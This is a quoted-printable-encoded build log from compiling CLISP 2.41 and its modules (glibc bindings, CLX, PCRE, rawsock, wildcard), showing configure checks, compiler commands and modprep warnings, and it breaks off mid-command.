gmake[1]: Entering directory `/tmp/clisp-2.41-build/bindings/glibc'
/tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /=
tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 =
-Eterminal UTF-8 -norc -q -c linux.lisp
;; Compiling file /tmp/clisp-2.41-build/bindings/glibc/linux.lisp ...
;; Wrote file /tmp/clisp-2.41-build/bindings/glibc/linux.fas
;; Wrote file /tmp/clisp-2.41-build/bindings/glibc/linux.c
0 errors, 0 warnings
gcc  -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ=
e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations =
-falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I../.. -c linux.c
/tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /=
tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 =
-Eterminal UTF-8 -norc -q -c wrap.lisp
;; Compiling file /tmp/clisp-2.41-build/bindings/glibc/wrap.lisp ...
;; Wrote file /tmp/clisp-2.41-build/bindings/glibc/wrap.fas
0 errors, 0 warnings
gmake[1]: Leaving directory `/tmp/clisp-2.41-build/bindings/glibc'
/usr/local/src/languages/clisp/clisp-2.41/src/lndir /usr/local/src/langua=
ges/clisp/clisp-2.41/modules/clx/new-clx clx/new-clx
m=3D`cd /usr/local/src/languages/clisp/clisp-2.41/modules/clx/new-clx; pw=
d`; \
if test -f clx/new-clx/configure -a clx/new-clx/configure -nt clx/new-clx=
/config.status ; then cd clx/new-clx ; \
  ( cache=3D`echo clx/new-clx/ | sed -e 's,[^/][^/]*//*,../,g'`config.cac=
he; \
    if test -f ${cache} ; then . ${cache}; \
      if test "${ac_cv_env_CC_set}" =3D set; then CC=3D"${ac_cv_env_CC_va=
lue}"; export CC; fi; \
      if test "${ac_cv_env_CFLAGS_set}" =3D set; then CFLAGS=3D"${ac_cv_e=
nv_CFLAGS_value}"; export CFLAGS; fi; \
      /bin/sh ./configure --cache-file=3D${cache} --srcdir=3D$m --with-dy=
namic-ffi --with-libz-prefix=3D/usr/local;\
    else /bin/sh ./configure --srcdir=3D$m --with-dynamic-ffi --with-libz=
-prefix=3D/usr/local; \
    fi ) ;\
fi
configure: loading cache ../../config.cache
configure: ** NEW CLX
checking for gcc... (cached) gcc
checking for C compiler default output file name... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for suffix of executables...=20
checking for suffix of object files... (cached) o
checking whether we are using the GNU C compiler... (cached) yes
checking whether gcc accepts -g... (cached) yes
checking for gcc option to accept ANSI C... (cached) none needed
checking whether time.h and sys/time.h may both be included... (cached) y=
es
checking how to run the C preprocessor... (cached) gcc -E
checking for egrep... (cached) grep -E
checking for ANSI C header files... (cached) yes
checking for sys/types.h... (cached) yes
checking for sys/stat.h... (cached) yes
checking for stdlib.h... (cached) yes
checking for string.h... (cached) yes
checking for memory.h... (cached) yes
checking for strings.h... (cached) yes
checking for inttypes.h... (cached) yes
checking for stdint.h... (cached) yes
checking for unistd.h... (cached) yes
checking sys/socket.h usability... yes
checking sys/socket.h presence... yes
checking for sys/socket.h... yes
checking for netdb.h... (cached) yes
checking for netinet/in.h... (cached) yes
checking for X... (cached) libraries /usr/X11R6/lib, headers /usr/X11R6/i=
nclude
checking for gethostbyname... (cached) yes
checking for connect... (cached) yes
checking for remove... (cached) yes
checking for shmat... (cached) yes
checking for IceConnectionNumber in -lICE... (cached) yes
checking for XGetAtomNames... yes
checking for Xpm library... yes
checking for X shape extension... yes
configure: ** NEW CLX (output)
updating cache ../../config.cache
configure: creating ./config.status
config.status: creating Makefile
config.status: creating link.sh
config.status: creating config.h
configure: ** NEW CLX (done)
CLISP=3D"`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E=
 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd clx/new-clx ; dots=3D`echo=
 clx/new-clx/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake clisp=
-module CC=3D"gcc" CPPFLAGS=3D"" CFLAGS=3D"-g -O2 -W -Wswitch -Wcomment -=
Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-=
compare -O2 -fexpensive-optimizations -falign-functions=3D4 -DUNICODE -DD=
YNAMIC_FFI -I." INCLUDES=3D"$dots" CLFLAGS=3D"-x none" LIBS=3D"libcharset=
.a libavcall.a libcallback.a -lreadline -lncurses -ldl  -liconv -lsigsegv=
" RANLIB=3D"ranlib" CLISP=3D"$CLISP -q"
gmake[1]: Entering directory `/tmp/clisp-2.41-build/clx/new-clx'
/tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /=
tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 =
-Eterminal UTF-8 -norc -q -i clx-preload.lisp -c clx.lisp
;; Loading file clx-preload.lisp ...
;; Loaded file clx-preload.lisp
;; Compiling file /tmp/clisp-2.41-build/clx/new-clx/clx.lisp ...
;; Wrote file /tmp/clisp-2.41-build/clx/new-clx/clx.fas
The following functions were used but not defined:
 XLIB::%GCONTEXT-KEY->MASK XLIB::LOOKUP-PIXMAP XLIB::PIXMAP-ID
 XLIB::ATOM-NAME XLIB::INTERN-ATOM XLIB::LOOKUP-WINDOW XLIB::WINDOW-ID
 XLIB::VISUAL-INFO XLIB::LOOKUP-RESOURCE-ID XLIB::DRAWABLE-ID
 XLIB::GCONTEXT-ID XLIB::CURSOR-ID XLIB::FONT-ID XLIB::LOOKUP-COLORMAP
 XLIB::WINDOW-DISPLAY XLIB::COLORMAP-ID XLIB::CARD8->CHAR
 XLIB::GET-PROPERTY XLIB::CHAR->CARD8 XLIB::CHANGE-PROPERTY
 XLIB::SCREEN-ROOT XLIB::DISPLAY-ROOTS XLIB::LIST-PROPERTIES
 XLIB::ROTATE-PROPERTIES XLIB::COLORMAP-VISUAL-INFO
 XLIB::DISPLAY-DISPLAY XLIB::DISPLAY-HOST
 XLIB::DISPLAY-PROTOCOL-MAJOR-VERSION
 XLIB::DISPLAY-PROTOCOL-MINOR-VERSION XLIB::DISPLAY-RELEASE-NUMBER
 XLIB::DISPLAY-VENDOR-NAME XLIB::DRAWABLE-HEIGHT XLIB::DRAWABLE-WIDTH
 XLIB::DRAWABLE-X XLIB::DRAWABLE-Y XLIB::%UNTRACED-COLOR-RED
 XLIB::%UNTRACED-COLOR-GREEN XLIB::%UNTRACED-COLOR-BLUE
 XLIB::%UNTRACED-DISPLAY-DISPLAY XLIB::%UNTRACED-DISPLAY-VENDOR-NAME
 XLIB::%UNTRACED-DISPLAY-RELEASE-NUMBER
 XLIB::%UNTRACED-DISPLAY-PROTOCOL-MAJOR-VERSION
 XLIB::%UNTRACED-DISPLAY-PROTOCOL-MINOR-VERSION
 XLIB::%UNTRACED-COLORMAP-VISUAL-INFO XLIB::%UNTRACED-VISUAL-INFO-CLASS
 XLIB::CLOSED-DISPLAY-P XLIB::%UNTRACED-DRAWABLE-WIDTH
 XLIB::%UNTRACED-DRAWABLE-HEIGHT XLIB::%UNTRACED-DRAWABLE-X
 XLIB::%UNTRACED-DRAWABLE-Y XLIB::%UNTRACED-DISPLAY-HOST
 XLIB::CREATE-IMAGE XLIB::MAKE-EVENT-MASK
0 errors, 0 warnings
/tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /=
tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 =
-Eterminal UTF-8 -norc -q -i clx-preload.lisp -c image.lisp
;; Loading file clx-preload.lisp ...
;; Loaded file clx-preload.lisp
;; Compiling file /tmp/clisp-2.41-build/clx/new-clx/image.lisp ...
;; Wrote file /tmp/clisp-2.41-build/clx/new-clx/image.fas
The following functions were used but not defined:
 XLIB::CREATE-PIXMAP XLIB::CREATE-GCONTEXT XLIB::PUT-IMAGE
 XLIB::COPY-AREA XLIB::FREE-GCONTEXT
0 errors, 0 warnings
/tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /=
tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 =
-Eterminal UTF-8 -norc -q -i clx-preload.lisp -c resource.lisp
;; Loading file clx-preload.lisp ...
;; Loaded file clx-preload.lisp
;; Compiling file /tmp/clisp-2.41-build/clx/new-clx/resource.lisp ...
;; Wrote file /tmp/clisp-2.41-build/clx/new-clx/resource.fas
The following functions were used but not defined:
 XLIB::CARD8->CHAR XLIB::DISPLAY-DEFAULT-SCREEN XLIB::SCREEN-ROOT
 XLIB::DISPLAY-ROOTS XLIB::GET-PROPERTY
0 errors, 0 warnings
../../ccmp2c clx.f > genclx.c
gcc  -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ=
e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations =
-falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -DWANT_XPM=3D1 -DWANT_X=
SHAPE=3D1 genclx.c -o genclx
./genclx -l -o clx.e > clx.e
rm -f genclx.c
rm -f genclx
cp clx.e clx.d
/tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /=
tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 =
-Eterminal UTF-8 -norc -q ../../modprep.fas clx.d clx.c
;; MODPREP: "clx.d" --> "clx.c"
;; MODPREP: reading "clx.d": 333,578 bytes, 8,396 lines
WARNING: "clx.d":3377:XLIB:COPY-AREA: emulating signature (9 0)
WARNING: "clx.d":3397:XLIB:COPY-PLANE: emulating signature (10 0)
WARNING: "clx.d":3466:XLIB:DRAW-LINE: emulating signature (6 1)
WARNING: "clx.d":3552:XLIB:DRAW-RECTANGLE: emulating signature (6 1)
WARNING: "clx.d":3798:XLIB:DRAW-GLYPH: emulating signature (5 0 &key)
WARNING: "clx.d":3807:XLIB:DRAW-GLYPHS: emulating signature (5 0 &key)
WARNING: "clx.d":3813:XLIB:DRAW-IMAGE-GLYPH: emulating signature (5 0 &ke=
y)
WARNING: "clx.d":3818:XLIB:DRAW-IMAGE-GLYPHS: emulating signature (5 0 &k=
ey)
WARNING: "clx.d":5230:XLIB:CHANGE-PROPERTY: emulating signature (5 0 &key=
)
WARNING: "clx.d":6178:XLIB:WARP-POINTER-IF-INSIDE: emulating signature (6=
 2)
WARNING: "clx.d":6198:XLIB:WARP-POINTER-RELATIVE-IF-INSIDE: emulating
         signature (5 2)
;; MODPREP: 492 objects, 397 DEFUNs (11 emulated), 1 DEFVAR (1 init)
;; packages: ("XPM" "XLIB")
MODPREP: wrote clx.c (542,482 bytes)
gcc  -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ=
e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations =
-falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I/usr/X11R6/include -I=
../.. -c clx.c
gmake[1]: Leaving directory `/tmp/clisp-2.41-build/clx/new-clx'
/usr/local/src/languages/clisp/clisp-2.41/src/lndir /usr/local/src/langua=
ges/clisp/clisp-2.41/modules/pcre pcre
m=3D`cd /usr/local/src/languages/clisp/clisp-2.41/modules/pcre; pwd`; \
if test -f pcre/configure -a pcre/configure -nt pcre/config.status ; then=
 cd pcre ; \
  ( cache=3D`echo pcre/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; \
    if test -f ${cache} ; then . ${cache}; \
      if test "${ac_cv_env_CC_set}" =3D set; then CC=3D"${ac_cv_env_CC_va=
lue}"; export CC; fi; \
      if test "${ac_cv_env_CFLAGS_set}" =3D set; then CFLAGS=3D"${ac_cv_e=
nv_CFLAGS_value}"; export CFLAGS; fi; \
      /bin/sh ./configure --cache-file=3D${cache} --srcdir=3D$m --with-dy=
namic-ffi --with-libz-prefix=3D/usr/local;\
    else /bin/sh ./configure --srcdir=3D$m --with-dynamic-ffi --with-libz=
-prefix=3D/usr/local; \
    fi ) ;\
fi
configure: loading cache ../config.cache
configure: ** PCRE (Tools)
checking for gcc... (cached) gcc
checking for C compiler default output file name... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for suffix of executables...=20
checking for suffix of object files... (cached) o
checking whether we are using the GNU C compiler... (cached) yes
checking whether gcc accepts -g... (cached) yes
checking for gcc option to accept ANSI C... (cached) none needed
checking how to run the C preprocessor... (cached) gcc -E
checking build system type... (cached) i686-pc-linux-gnu
checking host system type... (cached) i686-pc-linux-gnu
checking for ld used by GCC... (cached) /usr/i486-suse-linux/bin/ld
checking if the linker (/usr/i486-suse-linux/bin/ld) is GNU ld... (cached=
) yes
checking for shared library run path origin... (cached) done
checking how to link with libpcre... -lpcre
configure: ** PCRE (Headers)
checking for egrep... (cached) grep -E
checking for ANSI C header files... (cached) yes
checking for sys/types.h... (cached) yes
checking for sys/stat.h... (cached) yes
checking for stdlib.h... (cached) yes
checking for string.h... (cached) yes
checking for memory.h... (cached) yes
checking for strings.h... (cached) yes
checking for inttypes.h... (cached) yes
checking for stdint.h... (cached) yes
checking for unistd.h... (cached) yes
checking pcre.h usability... yes
checking pcre.h presence... yes
checking for pcre.h... yes
configure: ** PCRE (Functions)
checking for library containing pcre_compile... none required
checking for pcre_get_stringnumber... no
checking for pcre_config... no
checking for pcre_dfa_exec... no
configure: ** PCRE (Output)
updating cache ../config.cache
configure: creating ./config.status
config.status: creating Makefile
config.status: creating link.sh
config.status: creating config.h
configure: ** PCRE (Done)
CLISP=3D"`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E=
 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd pcre ; dots=3D`echo pcre/ =
| sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake clisp-module CC=3D"=
gcc" CPPFLAGS=3D"" CFLAGS=3D"-g -O2 -W -Wswitch -Wcomment -Wpointer-arith=
 -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -f=
expensive-optimizations -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I.=
" INCLUDES=3D"$dots" CLFLAGS=3D"-x none" LIBS=3D"libcharset.a libavcall.a=
 libcallback.a -lreadline -lncurses -ldl  -liconv -lsigsegv" RANLIB=3D"ra=
nlib" CLISP=3D"$CLISP -q"
gmake[1]: Entering directory `/tmp/clisp-2.41-build/pcre'
/tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /=
tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 =
-Eterminal UTF-8 -norc -q -c pcre.lisp
;; Compiling file /tmp/clisp-2.41-build/pcre/pcre.lisp ...
;; Wrote file /tmp/clisp-2.41-build/pcre/pcre.fas
The following functions were used but not defined:
 PCRE:PCRE-NAME-TO-INDEX PCRE:PCRE-COMPILE PCRE:PCRE-EXEC
0 errors, 0 warnings
/tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /=
tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 =
-Eterminal UTF-8 -norc -q ../modprep.fas cpcre.c
;; MODPREP: "cpcre.c" --> #P"cpcre.m.c"
;; MODPREP: reading "cpcre.c": 15,530 bytes, 386 lines
;; MODPREP: 69 objects, 7 DEFUNs
;; packages: ("PCRE")
MODPREP: wrote cpcre.m.c (47,885 bytes)
gcc   -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-ty=
pe -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations=
 -falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I.. -c cpcre.m.c -o c=
pcre.o
cpcre.c: In function `fullinfo_firsttable':
cpcre.c:203: warning: pointer of type `void *' used in arithmetic
gmake[1]: Leaving directory `/tmp/clisp-2.41-build/pcre'
/usr/local/src/languages/clisp/clisp-2.41/src/lndir /usr/local/src/langua=
ges/clisp/clisp-2.41/modules/rawsock rawsock
m=3D`cd /usr/local/src/languages/clisp/clisp-2.41/modules/rawsock; pwd`; =
\
if test -f rawsock/configure -a rawsock/configure -nt rawsock/config.stat=
us ; then cd rawsock ; \
  ( cache=3D`echo rawsock/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache; =
\
    if test -f ${cache} ; then . ${cache}; \
      if test "${ac_cv_env_CC_set}" =3D set; then CC=3D"${ac_cv_env_CC_va=
lue}"; export CC; fi; \
      if test "${ac_cv_env_CFLAGS_set}" =3D set; then CFLAGS=3D"${ac_cv_e=
nv_CFLAGS_value}"; export CFLAGS; fi; \
      /bin/sh ./configure --cache-file=3D${cache} --srcdir=3D$m --with-dy=
namic-ffi --with-libz-prefix=3D/usr/local;\
    else /bin/sh ./configure --srcdir=3D$m --with-dynamic-ffi --with-libz=
-prefix=3D/usr/local; \
    fi ) ;\
fi
configure: loading cache ../config.cache
configure: ** Rawsock (Tools)
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checking for C compiler default output file name... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for suffix of executables...=20
checking for suffix of object files... (cached) o
checking whether we are using the GNU C compiler... (cached) yes
checking whether gcc accepts -g... (cached) yes
checking for gcc option to accept ANSI C... (cached) none needed
checking how to run the C preprocessor... (cached) gcc -E
configure: ** Rawsock (Headers)
checking for egrep... (cached) grep -E
checking for ANSI C header files... (cached) yes
checking whether time.h and sys/time.h may both be included... (cached) y=
es
checking for sys/types.h... (cached) yes
checking for sys/stat.h... (cached) yes
checking for stdlib.h... (cached) yes
checking for string.h... (cached) yes
checking for memory.h... (cached) yes
checking for strings.h... (cached) yes
checking for inttypes.h... (cached) yes
checking for stdint.h... (cached) yes
checking for unistd.h... (cached) yes
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checking for setsockopt... (cached) yes
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         extern unsigned int inet_addr (const char*);
checking for netinet/tcp.h... (cached) yes
checking for setsockopt declaration... (cached)=20
         extern int setsockopt (int, int, int, const void*, unsigned int)=
;
checking for sys/socket.h... (cached) yes
checking linux/if_packet.h usability... yes
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checking for netdb.h... (cached) yes
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checking sys/uio.h presence... yes
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checking for struct msghdr.msg_flags... yes
checking for struct msghdr.msg_control... yes
checking for ssize_t... yes
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checking for struct iovec... yes
checking for struct if_nameindex... yes
configure: ** Rawsock (Functions)
checking whether gethostent requires -lnsl... (cached) no
checking whether setsockopt requires -lsocket... (cached) no
checking for socketpair... yes
checking for sockatmark... yes
checking for recvmsg... yes
checking for sendmsg... yes
checking for htonl... yes
checking for htons... yes
checking for ntohl... yes
checking for ntohs... yes
checking for readv... yes
checking for writev... yes
checking for getnameinfo... yes
checking for getaddrinfo... yes
checking for freeaddrinfo... yes
checking for gai_strerror... yes
checking for endprotoent... yes
checking for getprotobyname... yes
checking for getprotobynumber... yes
checking for getprotoent... yes
checking for setprotoent... yes
checking for if_nametoindex... yes
checking for if_indextoname... yes
checking for if_nameindex... yes
checking for if_freenameindex... yes
checking for endnetent... yes
checking for getnetbyaddr... yes
checking for getnetbyname... yes
checking for getnetent... yes
checking for setnetent... yes
checking for getifaddrs... yes
checking for freeifaddrs... yes
configure: ** Rawsock (Output)
updating cache ../config.cache
configure: creating ./config.status
config.status: creating Makefile
config.status: creating link.sh
config.status: creating config.h
configure: ** Rawsock (Done)
CLISP=3D"`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E=
 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd rawsock ; dots=3D`echo raw=
sock/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake clisp-module =
CC=3D"gcc" CPPFLAGS=3D"" CFLAGS=3D"-g -O2 -W -Wswitch -Wcomment -Wpointer=
-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare =
-O2 -fexpensive-optimizations -falign-functions=3D4 -DUNICODE -DDYNAMIC_F=
FI -I." INCLUDES=3D"$dots" CLFLAGS=3D"-x none" LIBS=3D"libcharset.a libav=
call.a libcallback.a -lreadline -lncurses -ldl  -liconv -lsigsegv" RANLIB=
=3D"ranlib" CLISP=3D"$CLISP -q"
gmake[1]: Entering directory `/tmp/clisp-2.41-build/rawsock'
/tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /=
tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 =
-Eterminal UTF-8 -norc -q -c sock.lisp
;; Compiling file /tmp/clisp-2.41-build/rawsock/sock.lisp ...
;; Wrote file /tmp/clisp-2.41-build/rawsock/sock.fas
The following functions were used but not defined:
 RAWSOCK:SOCKET RAWSOCK:MAKE-SOCKADDR RAWSOCK:CONNECT RAWSOCK:SOCK-CLOSE
 RAWSOCK:GETNAMEINFO
0 errors, 0 warnings
/tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /=
tmp/clisp-2.41-build -N /tmp/clisp-2.41-build/locale -E 1:1 -Efile UTF-8 =
-Eterminal UTF-8 -norc -q ../modprep.fas rawsock.c
;; MODPREP: "rawsock.c" --> #P"rawsock.m.c"
;; MODPREP: reading "rawsock.c": 56,266 bytes, 1,466 lines
WARNING: "rawsock.c":616: fixed object case ":DECnet"
WARNING: "rawsock.c":616: fixed object case " :DECnet"
WARNING: truncated a very long tag (from 2,940 to 2,000) for
          ("(OR NULL INTEGER (MEMBER" ("defined(IPPROTO_IP)" . " :IPPROTO=
-IP")
           ("defined(IPPROTO_IPV6)" . " :IPPROTO-IPV6")
           ("defined(IPPROTO_ICMP)" . " :IPPROTO-ICMP")
           ("defined(IPPROTO_RAW)" . " :IPPROTO-RAW")
           ("defined(IPPROTO_TCP)" . " :IPPROTO-TCP")
           ("defined(IPPROTO_UDP)" . " :IPPROTO-UDP")
           ("defined(IPPROTO_IGMP)" . " :IPPROTO-IGMP")
           ("defined(IPPROTO_IPIP)" . " :IPPROTO-IPIP")
           ("defined(IPPROTO_EGP)" . " :IPPROTO-EGP")
           ("defined(IPPROTO_PUP)" . " :IPPROTO-PUP")
           ("defined(IPPROTO_IDP)" . " :IPPROTO-IDP")
           ("defined(IPPROTO_GGP)" . " :IPPROTO-GGP")
           ("defined(IPPROTO_ND)" . " :IPPROTO-ND")
           ("defined(IPPROTO_HOPOPTS)" . " :IPPROTO-HOPOPTS")
           ("defined(IPPROTO_ROUTING)" . " :IPPROTO-ROUTING")
           ("defined(IPPROTO_FRAGMENT)" . " :IPPROTO-FRAGMENT")
           ("defined(IPPROTO_ESP)" . " :IPPROTO-ESP")
           ("defined(IPPROTO_AH)" . " :IPPROTO-AH")
           ("defined(IPPROTO_ICMPV6)" . " :IPPROTO-ICMPV6")
           ("defined(IPPROTO_DSTOPTS)" . " :IPPROTO-DSTOPTS")
           ("defined(IPPROTO_NONE)" . " :IPPROTO-NONE")
           ("defined(IPPROTO_RSVP)" . " :IPPROTO-RSVP")
           ("defined(IPPROTO_GRE)" . " :IPPROTO-GRE")
           ("defined(IPPROTO_PIM)" . " :IPPROTO-PIM")
           ("defined(IPPROTO_COMP)" . " :IPPROTO-COMP")
           ("defined(NSPROTO_IPX)" . " :NSPROTO-IPX")
           ("defined(NSPROTO_SPX)" . " :NSPROTO-SPX")
           ("defined(NSPROTO_SPXII)" . " :NSPROTO-SPXII")
           ("defined(ETH_P_LOOP)" . " :ETH-P-LOOP")
           ("defined(ETH_P_PUP)" . " :ETH-P-PUP")
           ("defined(ETH_P_PUPAT)" . " :ETH-P-PUPAT")
           ("defined(ETH_P_IP)" . " :ETH-P-IP")
           ("defined(ETH_P_X25)" . " :ETH-P-X25")
           ("defined(ETH_P_ARP)" . " :ETH-P-ARP")
           ("defined(ETH_P_BPQ)" . " :ETH-P-BPQ")
           ("defined(ETH_P_IEEEPUP)" . " :ETH-P-IEEEPUP")
           ("defined(ETH_P_IEEEPUPAT)" . " :ETH-P-IEEEPUPAT")
           ("defined(ETH_P_DEC)" . " :ETH-P-DEC")
           ("defined(ETH_P_DNA_DL)" . " :ETH-P-DNA-DL")
           ("defined(ETH_P_DNA_RC)" . " :ETH-P-DNA-RC")
           ("defined(ETH_P_DNA_RT)" . " :ETH-P-DNA-RT")
           ("defined(ETH_P_LAT)" . " :ETH-P-LAT")
           ("defined(ETH_P_DIAG)" . " :ETH-P-DIAG")
           ("defined(ETH_P_CUST)" . " :ETH-P-CUST")
           ("defined(ETH_P_SCA)" . " :ETH-P-SCA")
           ("defined(ETH_P_RARP)" . " :ETH-P-RARP")
           ("defined(ETH_P_ATALK)" . " :ETH-P-ATALK")
           ("defined(ETH_P_AARP)" . " :ETH-P-AARP")
           ("defined(ETH_P_IPX)" . " :ETH-P-IPX")
           ("defined(ETH_P_IPV6)" . " :ETH-P-IPV6")
           ("defined(ETH_P_PPP_DISC)" . " :ETH-P-PPP-DISC")
           ("defined(ETH_P_PPP_SES)" . " :ETH-P-PPP-SES")
           ("defined(ETH_P_ATMMPOA)" . " :ETH-P-ATMMPOA")
           ("defined(ETH_P_ATMFATE)" . " :ETH-P-ATMFATE")
           ("defined(ETH_P_802_3)" . " :ETH-P-802-3")
           ("defined(ETH_P_AX25)" . " :ETH-P-AX25")
           ("defined(ETH_P_ALL)" . " :ETH-P-ALL")
           ("defined(ETH_P_802_2)" . " :ETH-P-802-2")
           ("defined(ETH_P_SNAP)" . " :ETH-P-SNAP")
           ("defined(ETH_P_DDCMP)" . " :ETH-P-DDCMP")
           ("defined(ETH_P_WAN_PPP)" . " :ETH-P-WAN-PPP")
           ("defined(ETH_P_PPP_MP)" . " :ETH-P-PPP-MP")
           ("defined(ETH_P_LOCALTALK)" . " :ETH-P-LOCALTALK")
           ("defined(ETH_P_PPPTALK)" . " :ETH-P-PPPTALK")
           ("defined(ETH_P_TR_802_2)" . " :ETH-P-TR-802-2")
           ("defined(ETH_P_MOBITEX)" . " :ETH-P-MOBITEX")
           ("defined(ETH_P_CONTROL)" . " :ETH-P-CONTROL")
           ("defined(ETH_P_IRDA)" . " :ETH-P-IRDA")
           ("defined(ETH_P_ECONET)" . " :ETH-P-ECONET") "))")

;; MODPREP: 247 objects, 39 DEFUNs
;; packages: ("RAWSOCK")
MODPREP: wrote rawsock.m.c (208,335 bytes)
gcc  -g -O2 -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-typ=
e -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations =
-falign-functions=3D4 -DUNICODE -DDYNAMIC_FFI -I. -I.. -c rawsock.m.c -o =
rawsock.o
gmake[1]: Leaving directory `/tmp/clisp-2.41-build/rawsock'
/usr/local/src/languages/clisp/clisp-2.41/src/lndir /usr/local/src/langua=
ges/clisp/clisp-2.41/modules/wildcard wildcard
m=3D`cd /usr/local/src/languages/clisp/clisp-2.41/modules/wildcard; pwd`;=
 \
if test -f wildcard/configure -a wildcard/configure -nt wildcard/config.s=
tatus ; then cd wildcard ; \
  ( cache=3D`echo wildcard/ | sed -e 's,[^/][^/]*//*,../,g'`config.cache;=
 \
    if test -f ${cache} ; then . ${cache}; \
      if test "${ac_cv_env_CC_set}" =3D set; then CC=3D"${ac_cv_env_CC_va=
lue}"; export CC; fi; \
      if test "${ac_cv_env_CFLAGS_set}" =3D set; then CFLAGS=3D"${ac_cv_e=
nv_CFLAGS_value}"; export CFLAGS; fi; \
      /bin/sh ./configure --cache-file=3D${cache} --srcdir=3D$m --with-dy=
namic-ffi --with-libz-prefix=3D/usr/local;\
    else /bin/sh ./configure --srcdir=3D$m --with-dynamic-ffi --with-libz=
-prefix=3D/usr/local; \
    fi ) ;\
fi
configure: loading cache ../config.cache
configure: ** Wildcard (Checks)
checking for gcc... (cached) gcc
checking for C compiler default output file name... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for suffix of executables...=20
checking for suffix of object files... (cached) o
checking whether we are using the GNU C compiler... (cached) yes
checking whether gcc accepts -g... (cached) yes
checking for gcc option to accept ANSI C... (cached) none needed
checking how to run the C preprocessor... (cached) gcc -E
checking for egrep... (cached) grep -E
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checking for an ANSI C-conforming const... yes
checking for working alloca.h... (cached) yes
checking for alloca... (cached) yes
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checking for sys/stat.h... (cached) yes
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checking for stdint.h... (cached) yes
checking for unistd.h... (cached) yes
checking for mbstate_t... yes
checking for working POSIX fnmatch... yes
configure: ** Wildcard (Output)
updating cache ../config.cache
configure: creating ./config.status
config.status: creating Makefile
config.status: creating link.sh
config.status: creating config.h
configure: ** Wildcard (Done)
CLISP=3D"`pwd`/lisp.run -M `pwd`/lispinit.mem -B `pwd` -N `pwd`/locale -E=
 1:1 -Efile UTF-8 -Eterminal UTF-8 -norc" ; cd wildcard ; dots=3D`echo wi=
ldcard/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; gmake clisp-modul=
e CC=3D"gcc" CPPFLAGS=3D"" CFLAGS=3D"-g -O2 -W -Wswitch -Wcomment -Wpoint=
er-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compar=
e -O2 -fexpensive-optimizations -falign-functions=3D4 -DUNICODE -DDYNAMIC=
_FFI -I." INCLUDES=3D"$dots" CLFLAGS=3D"-x none" LIBS=3D"libcharset.a lib=
avcall.a libcallback.a -lreadline -lncurses -ldl  -liconv -lsigsegv" RANL=
IB=3D"ranlib" CLISP=3D"$CLISP -q"
gmake[1]: Entering directory `/tmp/clisp-2.41-build/wildcard'
/tmp/clisp-2.41-build/lisp.run -M /tmp/clisp-2.41-build/lispinit.mem -B /=
